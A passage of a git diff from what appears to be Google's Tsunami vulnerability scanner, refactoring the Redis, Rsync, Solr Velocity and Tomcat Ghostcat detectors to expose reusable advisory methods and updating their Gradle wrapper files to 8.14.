a/google/detectors/rce/redis/src/test/java/com/google/tsunami/plugins/detectors/rce/redis/RedisUnauthenticatedCommandExecutionDetectorTest.java +++ b/google/detectors/rce/redis/src/test/java/com/google/tsunami/plugins/detectors/rce/redis/RedisUnauthenticatedCommandExecutionDetectorTest.java @@ -36,12 +36,9 @@ import com.google.tsunami.proto.DetectionReportList; import com.google.tsunami.proto.DetectionStatus; import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.Severity; import com.google.tsunami.proto.TargetInfo; import com.google.tsunami.proto.TextData; import com.google.tsunami.proto.TransportProtocol; -import com.google.tsunami.proto.Vulnerability; -import com.google.tsunami.proto.VulnerabilityId; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.InputStream; @@ -114,22 +111,11 @@ public void detect_whenAllowsUnauthenticated_returnsVulnerability() throws Excep Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("GOOGLE") - .setValue("REDIS_UNAUTHENTICATED_COMMAND_EXECUTION")) - .setSeverity(Severity.CRITICAL) - .setTitle("Redis unauthenticated command execution") - .setDescription( - RedisUnauthenticatedCommandExecutionDetector.VULN_DESCRIPTION) - .setRecommendation( - RedisUnauthenticatedCommandExecutionDetector.VULN_RECOMMENDATION) - .addAdditionalDetails( - AdditionalDetail.newBuilder() - .setDescription("response (first 100 bytes)") - .setTextData( - TextData.newBuilder().setText(redisServerInfoResponse)))) + detector.getAdvisory( + AdditionalDetail.newBuilder() + .setDescription("response (first 100 bytes)") + .setTextData(TextData.newBuilder().setText(redisServerInfoResponse)) + .build())) .build()); } diff --git a/google/detectors/rce/rsync_rce/src/main/java/com/google/tsunami/plugins/detectors/rce/rsync/RsyncRceDetector.java b/google/detectors/rce/rsync_rce/src/main/java/com/google/tsunami/plugins/detectors/rce/rsync/RsyncRceDetector.java index 399432fc2..271991a70 100644 --- a/google/detectors/rce/rsync_rce/src/main/java/com/google/tsunami/plugins/detectors/rce/rsync/RsyncRceDetector.java +++ b/google/detectors/rce/rsync_rce/src/main/java/com/google/tsunami/plugins/detectors/rce/rsync/RsyncRceDetector.java @@ -89,6 +89,24 @@ public DetectionReportList detect( .build(); } + @Override + public ImmutableList getAdvisories() { + return ImmutableList.of(getAdvisory(AdditionalDetail.getDefaultInstance())); + } + + Vulnerability getAdvisory(AdditionalDetail details) { + return Vulnerability.newBuilder() + .setMainId(VulnerabilityId.newBuilder().setPublisher("GOOGLE").setValue("RSYNC_SERVER_RCE")) + .setSeverity(Severity.CRITICAL) + .addRelatedId(VulnerabilityId.newBuilder().setPublisher("CVE").setValue("CVE-2024-12084")) + .setTitle( + "CVE-2024-12084 Heap Buffer Overflow leading to Remote Code Execution in Rsync Server") + .setDescription(VULN_DESCRIPTION) + .setRecommendation(VULN_RECOMMENDATION) + .addAdditionalDetails(details) + .build(); + } + private boolean isRsyncService(NetworkService networkService) { return Ascii.equalsIgnoreCase(networkService.getServiceName(), "rsync"); } @@ -111,19 +129,11 @@ private DetectionReport buildDetectionReport( .setDetectionTimestamp(Timestamps.fromMillis(utcClock.instant().toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("GOOGLE") - .setValue("RSYNC_SERVER_RCE")) - .setSeverity(Severity.CRITICAL) - .setTitle("CVE-2024-12084 Heap Buffer Overflow leading to Remote Code Execution in Rsync Server") - .setDescription(VULN_DESCRIPTION) - .setRecommendation(VULN_RECOMMENDATION) - .addAdditionalDetails( - AdditionalDetail.newBuilder() - .setDescription("Rsync banner") - .setTextData(TextData.newBuilder().setText(rsyncBanner.banner)))) + getAdvisory( + AdditionalDetail.newBuilder() + .setDescription("Rsync banner") + .setTextData(TextData.newBuilder().setText(rsyncBanner.banner)) + .build())) .build(); } diff --git a/google/detectors/rce/rsync_rce/src/test/java/com/google/tsunami/plugins/detectors/rce/rsync/RsyncRceDetectorTest.java b/google/detectors/rce/rsync_rce/src/test/java/com/google/tsunami/plugins/detectors/rce/rsync/RsyncRceDetectorTest.java index 7af405e10..03f1a88a1 100644 --- a/google/detectors/rce/rsync_rce/src/test/java/com/google/tsunami/plugins/detectors/rce/rsync/RsyncRceDetectorTest.java +++ b/google/detectors/rce/rsync_rce/src/test/java/com/google/tsunami/plugins/detectors/rce/rsync/RsyncRceDetectorTest.java @@ -27,12 +27,9 @@ import com.google.tsunami.proto.DetectionReport; import com.google.tsunami.proto.DetectionStatus; import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.Severity; import com.google.tsunami.proto.TargetInfo; import com.google.tsunami.proto.TextData; import com.google.tsunami.proto.TransportProtocol; -import com.google.tsunami.proto.Vulnerability; -import com.google.tsunami.proto.VulnerabilityId; import java.time.Instant; import javax.inject.Inject; import org.junit.Before; @@ -122,19 +119,11 @@ public void detect_whenVulnerableBanner_returnsDetection() { .setDetectionTimestamp(Timestamps.fromMillis(fakeUtcClock.instant().toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("GOOGLE") - .setValue("RSYNC_SERVER_RCE")) - .setSeverity(Severity.CRITICAL) - .setTitle("CVE-2024-12084 Heap Buffer Overflow leading to Remote Code Execution in Rsync Server") - .setDescription(RsyncRceDetector.VULN_DESCRIPTION) - .setRecommendation(RsyncRceDetector.VULN_RECOMMENDATION) - .addAdditionalDetails( - AdditionalDetail.newBuilder() - .setDescription("Rsync banner") - .setTextData(TextData.newBuilder().setText(vulnerableBanner)))) + detector.getAdvisory( + AdditionalDetail.newBuilder() + .setDescription("Rsync banner") + .setTextData(TextData.newBuilder().setText(vulnerableBanner)) + .build())) .build()); } diff --git a/google/detectors/rce/solr_cve201917558/gradle/wrapper/gradle-wrapper.jar b/google/detectors/rce/solr_cve201917558/gradle/wrapper/gradle-wrapper.jar index d64cd4917..1b33c55ba 100644 Binary files a/google/detectors/rce/solr_cve201917558/gradle/wrapper/gradle-wrapper.jar and b/google/detectors/rce/solr_cve201917558/gradle/wrapper/gradle-wrapper.jar differ diff --git a/google/detectors/rce/solr_cve201917558/gradle/wrapper/gradle-wrapper.properties b/google/detectors/rce/solr_cve201917558/gradle/wrapper/gradle-wrapper.properties index d04736436..ca025c83a 100644 --- a/google/detectors/rce/solr_cve201917558/gradle/wrapper/gradle-wrapper.properties +++ b/google/detectors/rce/solr_cve201917558/gradle/wrapper/gradle-wrapper.properties @@ -1,6 +1,6 @@ distributionBase=GRADLE_USER_HOME distributionPath=wrapper/dists -distributionUrl=https\://services.gradle.org/distributions/gradle-7.0-bin.zip +distributionUrl=https\://services.gradle.org/distributions/gradle-8.14-bin.zip networkTimeout=10000 validateDistributionUrl=true zipStoreBase=GRADLE_USER_HOME diff --git a/google/detectors/rce/solr_cve201917558/gradlew b/google/detectors/rce/solr_cve201917558/gradlew index 1aa94a426..23d15a936 100755 --- a/google/detectors/rce/solr_cve201917558/gradlew +++ b/google/detectors/rce/solr_cve201917558/gradlew @@ -15,6 +15,8 @@ # See the License for the specific language governing permissions and # limitations under the License. # +# SPDX-License-Identifier: Apache-2.0 +# ############################################################################## # @@ -55,7 +57,7 @@ # Darwin, MinGW, and NonStop. # # (3) This script is generated from the Groovy template -# https://github.com/gradle/gradle/blob/HEAD/subprojects/plugins/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt +# https://github.com/gradle/gradle/blob/HEAD/platforms/jvm/plugins-application/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt # within the Gradle project. # # You can find Gradle at https://github.com/gradle/gradle/. @@ -84,7 +86,7 @@ done # shellcheck disable=SC2034 APP_BASE_NAME=${0##*/} # Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036) -APP_HOME=$( cd "${APP_HOME:-./}" > /dev/null && pwd -P ) || exit +APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s\n' "$PWD" ) || exit # Use the maximum available, or set MAX_FD != -1 to use that value. MAX_FD=maximum @@ -112,7 +114,7 @@ case "$( uname )" in #( NONSTOP* ) nonstop=true ;; esac -CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar +CLASSPATH="\\\"\\\"" # Determine the Java command to use to start the JVM. @@ -203,7 +205,7 @@ fi DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' # Collect all arguments for the java command: -# * DEFAULT_JVM_OPTS, JAVA_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, +# * DEFAULT_JVM_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, # and any embedded shellness will be escaped. # * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be # treated as '${Hostname}' itself on the command line. @@ -211,7 +213,7 @@ DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' set -- \ "-Dorg.gradle.appname=$APP_BASE_NAME" \ -classpath "$CLASSPATH" \ - org.gradle.wrapper.GradleWrapperMain \ + -jar "$APP_HOME/gradle/wrapper/gradle-wrapper.jar" \ "$@" # Stop when "xargs" is not available. diff --git a/google/detectors/rce/solr_cve201917558/gradlew.bat b/google/detectors/rce/solr_cve201917558/gradlew.bat index 93e3f59f1..db3a6ac20 100644 --- a/google/detectors/rce/solr_cve201917558/gradlew.bat +++ b/google/detectors/rce/solr_cve201917558/gradlew.bat @@ -13,6 +13,8 @@ @rem See the License for the specific language governing permissions and @rem limitations under the License. @rem +@rem SPDX-License-Identifier: Apache-2.0 +@rem @if "%DEBUG%"=="" @echo off @rem ########################################################################## @@ -43,11 +45,11 @@ set JAVA_EXE=java.exe %JAVA_EXE% -version >NUL 2>&1 if %ERRORLEVEL% equ 0 goto execute -echo. -echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail @@ -57,22 +59,22 @@ set JAVA_EXE=%JAVA_HOME%/bin/java.exe if exist "%JAVA_EXE%" goto execute -echo. -echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail :execute @rem Setup the command line -set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar +set CLASSPATH= @rem Execute Gradle -"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* +"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" -jar "%APP_HOME%\gradle\wrapper\gradle-wrapper.jar" %* :end @rem End local scope for the variables with windows NT shell diff --git a/google/detectors/rce/solr_cve201917558/src/main/java/com/google/tsunami/plugins/detectors/rce/SolrVelocityTemplateRceDetector.java b/google/detectors/rce/solr_cve201917558/src/main/java/com/google/tsunami/plugins/detectors/rce/SolrVelocityTemplateRceDetector.java index 8e40624e9..388cc619a 100644 --- a/google/detectors/rce/solr_cve201917558/src/main/java/com/google/tsunami/plugins/detectors/rce/SolrVelocityTemplateRceDetector.java +++ b/google/detectors/rce/solr_cve201917558/src/main/java/com/google/tsunami/plugins/detectors/rce/SolrVelocityTemplateRceDetector.java @@ -67,6 +67,32 @@ public final class SolrVelocityTemplateRceDetector implements VulnDetector { this.httpClient = checkNotNull(httpClient); } + @Override + public ImmutableList getAdvisories() { + return ImmutableList.of( + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder().setPublisher("GOOGLE").setValue("CVE_2019_17558")) + .setSeverity(Severity.CRITICAL) + .addRelatedId( + VulnerabilityId.newBuilder().setPublisher("CVE").setValue("CVE-2019-17558")) + .setTitle("Apache Solr Velocity Template RCE (CVE-2019-17558)") + .setDescription( + "Apache Solr 5.0.0 to Apache Solr 8.3.1 are vulnerable to a Remote Code Execution" + + " through the VelocityResponseWriter. A Velocity template can be provided" + + " through Velocity templates in a configset `velocity/` directory or as a" + + " parameter. A user defined configset could contain renderable, potentially" + + " malicious, templates. Parameter provided templates are disabled by default," + + " but can be enabled by setting `params.resource.loader.enabled` by defining" + + " a response writer with that setting set to `true`. Defining a response" + + " writer requires configuration API access. Solr 8.4 removed the params" + + " resource loader entirely, and only enables the configset-provided template" + + " rendering when the configset is `trusted` (has been uploaded by an" + + " authenticated user).") + .setRecommendation("Upgrade to Solr 8.4.0 or greater.") + .build()); + } + @Override public DetectionReportList detect( TargetInfo targetInfo, ImmutableList matchedServices) { @@ -209,26 +235,7 @@ private DetectionReport buildDetectionReport( .setNetworkService(vulnerableNetworkService) .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder().setPublisher("GOOGLE").setValue("CVE_2019_17558")) - .setSeverity(Severity.CRITICAL) - .setTitle("Apache Solr Velocity Template RCE (CVE-2019-17558)") - .setDescription( - "Apache Solr 5.0.0 to Apache Solr 8.3.1 are vulnerable to a Remote Code" - + " Execution through the VelocityResponseWriter. A Velocity template can" - + " be provided through Velocity templates in a configset `velocity/`" - + " directory or as a parameter. A user defined configset could contain" - + " renderable, potentially malicious, templates. Parameter provided" - + " templates are disabled by default, but can be enabled by setting" - + " `params.resource.loader.enabled` by defining a response writer with" - + " that setting set to `true`. Defining a response writer requires" - + " configuration API access. Solr 8.4 removed the params resource loader" - + " entirely, and only enables the configset-provided template rendering" - + " when the configset is `trusted` (has been uploaded by an authenticated" - + " user).") - .setRecommendation("Upgrade to Solr 8.4.0 or greater.")) + .setVulnerability(this.getAdvisories().get(0)) .build(); } } diff --git a/google/detectors/rce/solr_cve201917558/src/test/java/com/google/tsunami/plugins/detectors/rce/SolrVelocityTemplateRceDetectorTest.java b/google/detectors/rce/solr_cve201917558/src/test/java/com/google/tsunami/plugins/detectors/rce/SolrVelocityTemplateRceDetectorTest.java index b66ff15cc..5b17fd7bb 100644 --- a/google/detectors/rce/solr_cve201917558/src/test/java/com/google/tsunami/plugins/detectors/rce/SolrVelocityTemplateRceDetectorTest.java +++ b/google/detectors/rce/solr_cve201917558/src/test/java/com/google/tsunami/plugins/detectors/rce/SolrVelocityTemplateRceDetectorTest.java @@ -30,12 +30,9 @@ import com.google.tsunami.proto.DetectionStatus; import com.google.tsunami.proto.NetworkEndpoint; import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.Severity; import com.google.tsunami.proto.Software; import com.google.tsunami.proto.TargetInfo; import com.google.tsunami.proto.TransportProtocol; -import com.google.tsunami.proto.Vulnerability; -import com.google.tsunami.proto.VulnerabilityId; import java.io.IOException; import java.time.Instant; import javax.inject.Inject; @@ -97,29 +94,7 @@ public void detect_whenSolrIsVulnerable_reportsVuln() throws IOException { .setDetectionTimestamp( Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("GOOGLE") - .setValue("CVE_2019_17558")) - .setSeverity(Severity.CRITICAL) - .setTitle("Apache Solr Velocity Template RCE (CVE-2019-17558)") - .setDescription( - "Apache Solr 5.0.0 to Apache Solr 8.3.1 are vulnerable to a Remote" - + " Code Execution through the VelocityResponseWriter. A Velocity" - + " template can be provided through Velocity templates in a" - + " configset `velocity/` directory or as a parameter. A user" - + " defined configset could contain renderable, potentially" - + " malicious, templates. Parameter provided templates are" - + " disabled by default, but can be enabled by setting" - + " `params.resource.loader.enabled` by defining a response writer" - + " with that setting set to `true`. Defining a response writer" - + " requires configuration API access. Solr 8.4 removed the params" - + " resource loader entirely, and only enables the" - + " configset-provided template rendering when the configset is" - + " `trusted` (has been uploaded by an authenticated user).") - .setRecommendation("Upgrade to Solr 8.4.0 or greater.")) + .setVulnerability(detector.getAdvisories().get(0)) .build()); } diff --git a/google/detectors/rce/tomcat/ghostcat/gradle/wrapper/gradle-wrapper.jar b/google/detectors/rce/tomcat/ghostcat/gradle/wrapper/gradle-wrapper.jar index d64cd4917..1b33c55ba 100644 Binary files a/google/detectors/rce/tomcat/ghostcat/gradle/wrapper/gradle-wrapper.jar and b/google/detectors/rce/tomcat/ghostcat/gradle/wrapper/gradle-wrapper.jar differ diff --git a/google/detectors/rce/tomcat/ghostcat/gradle/wrapper/gradle-wrapper.properties b/google/detectors/rce/tomcat/ghostcat/gradle/wrapper/gradle-wrapper.properties index d04736436..ca025c83a 100644 --- a/google/detectors/rce/tomcat/ghostcat/gradle/wrapper/gradle-wrapper.properties +++ b/google/detectors/rce/tomcat/ghostcat/gradle/wrapper/gradle-wrapper.properties @@ -1,6 +1,6 @@ distributionBase=GRADLE_USER_HOME distributionPath=wrapper/dists -distributionUrl=https\://services.gradle.org/distributions/gradle-7.0-bin.zip +distributionUrl=https\://services.gradle.org/distributions/gradle-8.14-bin.zip networkTimeout=10000 validateDistributionUrl=true zipStoreBase=GRADLE_USER_HOME diff --git a/google/detectors/rce/tomcat/ghostcat/gradlew b/google/detectors/rce/tomcat/ghostcat/gradlew index 1aa94a426..23d15a936 100755 --- a/google/detectors/rce/tomcat/ghostcat/gradlew +++ b/google/detectors/rce/tomcat/ghostcat/gradlew @@ -15,6 +15,8 @@ # See the License for the specific language governing permissions and # limitations under the License. # +# SPDX-License-Identifier: Apache-2.0 +# ############################################################################## # @@ -55,7 +57,7 @@ # Darwin, MinGW, and NonStop. # # (3) This script is generated from the Groovy template -# https://github.com/gradle/gradle/blob/HEAD/subprojects/plugins/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt +# https://github.com/gradle/gradle/blob/HEAD/platforms/jvm/plugins-application/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt # within the Gradle project. # # You can find Gradle at https://github.com/gradle/gradle/. @@ -84,7 +86,7 @@ done # shellcheck disable=SC2034 APP_BASE_NAME=${0##*/} # Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036) -APP_HOME=$( cd "${APP_HOME:-./}" > /dev/null && pwd -P ) || exit +APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s\n' "$PWD" ) || exit # Use the maximum available, or set MAX_FD != -1 to use that value. MAX_FD=maximum @@ -112,7 +114,7 @@ case "$( uname )" in #( NONSTOP* ) nonstop=true ;; esac -CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar +CLASSPATH="\\\"\\\"" # Determine the Java command to use to start the JVM. @@ -203,7 +205,7 @@ fi DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' # Collect all arguments for the java command: -# * DEFAULT_JVM_OPTS, JAVA_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, +# * DEFAULT_JVM_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, # and any embedded shellness will be escaped. # * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be # treated as '${Hostname}' itself on the command line. @@ -211,7 +213,7 @@ DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' set -- \ "-Dorg.gradle.appname=$APP_BASE_NAME" \ -classpath "$CLASSPATH" \ - org.gradle.wrapper.GradleWrapperMain \ + -jar "$APP_HOME/gradle/wrapper/gradle-wrapper.jar" \ "$@" # Stop when "xargs" is not available. diff --git a/google/detectors/rce/tomcat/ghostcat/gradlew.bat b/google/detectors/rce/tomcat/ghostcat/gradlew.bat index 93e3f59f1..db3a6ac20 100644 --- a/google/detectors/rce/tomcat/ghostcat/gradlew.bat +++ b/google/detectors/rce/tomcat/ghostcat/gradlew.bat @@ -13,6 +13,8 @@ @rem See the License for the specific language governing permissions and @rem limitations under the License. @rem +@rem SPDX-License-Identifier: Apache-2.0 +@rem @if "%DEBUG%"=="" @echo off @rem ########################################################################## @@ -43,11 +45,11 @@ set JAVA_EXE=java.exe %JAVA_EXE% -version >NUL 2>&1 if %ERRORLEVEL% equ 0 goto execute -echo. -echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail @@ -57,22 +59,22 @@ set JAVA_EXE=%JAVA_HOME%/bin/java.exe if exist "%JAVA_EXE%" goto execute -echo. -echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail :execute @rem Setup the command line -set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar +set CLASSPATH= @rem Execute Gradle -"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* +"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" -jar "%APP_HOME%\gradle\wrapper\gradle-wrapper.jar" %* :end @rem End local scope for the variables with windows NT shell diff --git a/google/detectors/rce/tomcat/ghostcat/src/main/java/com/google/tsunami/plugins/detectors/rce/tomcat/ghostcat/GhostcatVulnDetector.java b/google/detectors/rce/tomcat/ghostcat/src/main/java/com/google/tsunami/plugins/detectors/rce/tomcat/ghostcat/GhostcatVulnDetector.java index 4ff8080db..7832750b8 100644 --- a/google/detectors/rce/tomcat/ghostcat/src/main/java/com/google/tsunami/plugins/detectors/rce/tomcat/ghostcat/GhostcatVulnDetector.java +++ b/google/detectors/rce/tomcat/ghostcat/src/main/java/com/google/tsunami/plugins/detectors/rce/tomcat/ghostcat/GhostcatVulnDetector.java @@ -71,6 +71,11 @@ public final class GhostcatVulnDetector implements VulnDetector { this.connectionFactory = checkNotNull(connectionFactory); } + @Override + public ImmutableList getAdvisories() { + return ImmutableList.of(getAdvisory(AdditionalDetail.getDefaultInstance())); + } + @Override public DetectionReportList detect( TargetInfo targetInfo, ImmutableList matchedServices) { @@ -87,6 +92,23 @@ public DetectionReportList detect( .build(); } + Vulnerability getAdvisory(AdditionalDetail additionalDetail) { + return Vulnerability.newBuilder() + .setMainId(VulnerabilityId.newBuilder().setPublisher("GOOGLE").setValue("GHOSTCAT")) + .addRelatedId(VulnerabilityId.newBuilder().setPublisher("CVE").setValue("CVE-2020-1938")) + .setSeverity(Severity.CRITICAL) + .setTitle("Apache Tomcat AJP File Read/Inclusion Vulnerability") + .setDescription( + "Apache Tomcat is an open source web server and servlet container developed by" + + " the Apache Software Foundation Apache Tomcat fixed a vulnerability" + + " (CVE-2020-1938) that allows an attacker to read any webapps files. If" + + " the Tomcat instance supports file uploads, the vulnerability could" + + " also be leveraged to achieve remote code execution.") + .setRecommendation("Install the latest security patches for Apache Tomcat.") + .addAdditionalDetails(additionalDetail) + .build(); + } + private static boolean isAjpService(NetworkService networkService) { return NetworkServiceUtils.getServiceName(networkService).startsWith("ajp"); } @@ -97,8 +119,7 @@ private EndpointProbingResult checkEndpointForNetworkService(NetworkService netw int port = networkService.getNetworkEndpoint().getPort().getPortNumber(); AjpResponse response = connectionFactory.create(ip, port).performGhostcat(REQ_URI, PATH); logger.atInfo().log( - "Got %s from %s:%d: %s", - response.getStatusCode(), ip, port, formatAjpResponse(response)); + "Got %s from %s:%d: %s", response.getStatusCode(), ip, port, formatAjpResponse(response)); // Check if the connector is willing to disclose information if (!VALID_STATUS_CODES.contains(response.getStatusCode())) { return EndpointProbingResult.invulnerableForNetworkService(networkService); @@ -121,19 +142,7 @@ private DetectionReport buildDetectionReport( .setNetworkService(endpointProbingResult.networkService()) .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId(VulnerabilityId.newBuilder().setPublisher("GOOGLE").setValue("GHOSTCAT")) - .setSeverity(Severity.CRITICAL) - .setTitle("Apache Tomcat AJP File Read/Inclusion Vulnerability") - .setDescription( - "Apache Tomcat is an open source web server and servlet container developed by" - + " the Apache Software Foundation Apache Tomcat fixed a vulnerability" - + " (CVE-2020-1938) that allows an attacker to read any webapps files. If" - + " the Tomcat instance supports file uploads, the vulnerability could" - + " also be leveraged to achieve remote code execution.") - .setRecommendation("Install the latest security patches for Apache Tomcat.") - .addAdditionalDetails(buildAdditionalDetail(endpointProbingResult))) + .setVulnerability(getAdvisory(buildAdditionalDetail(endpointProbingResult))) .build(); } @@ -158,7 +167,9 @@ private static String formatAjpResponse(AjpResponse response) { @AutoValue abstract static class EndpointProbingResult { abstract boolean isVulnerable(); + abstract NetworkService networkService(); + abstract Optional ajpResponse(); static Builder builder() { @@ -172,7 +183,9 @@ static EndpointProbingResult invulnerableForNetworkService(NetworkService networ @AutoValue.Builder abstract static class Builder { abstract Builder setIsVulnerable(boolean value); + abstract Builder setNetworkService(NetworkService value); + abstract Builder setAjpResponse(AjpResponse response); abstract EndpointProbingResult build(); diff --git a/google/detectors/rce/tomcat/ghostcat/src/test/java/com/google/tsunami/plugins/detectors/rce/tomcat/ghostcat/GhostcatVulnDetectorTest.java b/google/detectors/rce/tomcat/ghostcat/src/test/java/com/google/tsunami/plugins/detectors/rce/tomcat/ghostcat/GhostcatVulnDetectorTest.java index 587379df8..6a911851f 100644 --- a/google/detectors/rce/tomcat/ghostcat/src/test/java/com/google/tsunami/plugins/detectors/rce/tomcat/ghostcat/GhostcatVulnDetectorTest.java +++ b/google/detectors/rce/tomcat/ghostcat/src/test/java/com/google/tsunami/plugins/detectors/rce/tomcat/ghostcat/GhostcatVulnDetectorTest.java @@ -34,11 +34,8 @@ import com.google.tsunami.proto.DetectionReportList; import com.google.tsunami.proto.DetectionStatus; import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.Severity; import com.google.tsunami.proto.TargetInfo; import com.google.tsunami.proto.TextData; -import com.google.tsunami.proto.Vulnerability; -import com.google.tsunami.proto.VulnerabilityId; import java.io.IOException; import java.time.Instant; import javax.inject.Inject; @@ -67,16 +64,20 @@ public final class GhostcatVulnDetectorTest { @Before public void setUp() throws IOException { Guice.createInjector( - new FakeUtcClockModule(fakeUtcClock), new GhostcatVulnDetectorBootstrapModule(true), - new AbstractModule() { - @Override - protected void configure() { - bind(AjpConnection.Factory.class).toProvider(() -> { - when(connectionFactoryMock.create(any(), anyInt())).thenReturn(ajpConnectionMock); - return connectionFactoryMock; - }); - } - }) + new FakeUtcClockModule(fakeUtcClock), + new GhostcatVulnDetectorBootstrapModule(true), + new AbstractModule() { + @Override + protected void configure() { + bind(AjpConnection.Factory.class) + .toProvider( + () -> { + when(connectionFactoryMock.create(any(), anyInt())) + .thenReturn(ajpConnectionMock); + return connectionFactoryMock; + }); + } + }) .injectMembers(this); when(ajpConnectionMock.performGhostcat(any(), any())).thenReturn(ajpResponseMock); @@ -94,9 +95,7 @@ public void detect_whenAjpConnectorReturns200_returnsVulnerability() { detector.detect(TargetInfo.getDefaultInstance(), ImmutableList.of(ajpService)); assertThat(detectionReports.getDetectionReportsList()) - .containsExactly( - buildExpectedDetectionReport( - ajpService, 200, "abc", "{x=[y]}", "1337")); + .containsExactly(buildExpectedDetectionReport(ajpService, 200, "abc", "{x=[y]}", "1337")); } @Test @@ -112,8 +111,7 @@ public void detect_whenAjpConnectorReturns404_returnsVulnerability() { assertThat(detectionReports.getDetectionReportsList()) .containsExactly( - buildExpectedDetectionReport( - ajpService, 404, "Not found", "{x=[y]}", "1337")); + buildExpectedDetectionReport(ajpService, 404, "Not found", "{x=[y]}", "1337")); } @Test @@ -180,35 +178,24 @@ private DetectionReport buildExpectedDetectionReport( String statusMessage, String headers, String content) { + AdditionalDetail details = + AdditionalDetail.newBuilder() + .setTextData( + TextData.newBuilder() + .setText( + String.format( + "Status code: %d\n" + + "Status message: %s\n" + + "Headers: %s\n" + + "/WEB-INF/web.xml content: %s\n", + statusCode, statusMessage, headers, content))) + .build(); return DetectionReport.newBuilder() .setTargetInfo(TargetInfo.getDefaultInstance()) .setNetworkService(ajpService) .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - 